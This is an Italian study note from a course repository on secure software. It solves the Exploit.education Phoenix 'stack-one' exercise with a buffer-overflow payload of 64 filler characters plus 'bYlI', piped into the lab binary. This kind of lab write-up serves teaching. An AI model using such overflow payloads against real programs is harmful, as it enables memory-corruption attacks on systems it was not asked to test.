unimore/appunti-steffo
unimore/appunti-steffo
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appunti-steffo/8 - Sviluppo di software sicuro/2 - Esercizi svolti/Exploit.education - Phoenix/01 - stack-one.md
Stefano Pigozzi 13530807d8
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2023-09-21 02:46:23 +02:00

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Stack One

Inserire aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabYlI come input.

bYlI manda buffer in overflow, impostando il valore di changeme ad "bYlI", ovvero 0x496c5962 (in architetture little-endian).

Soluzione

echo 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabYlI' | ./stack-one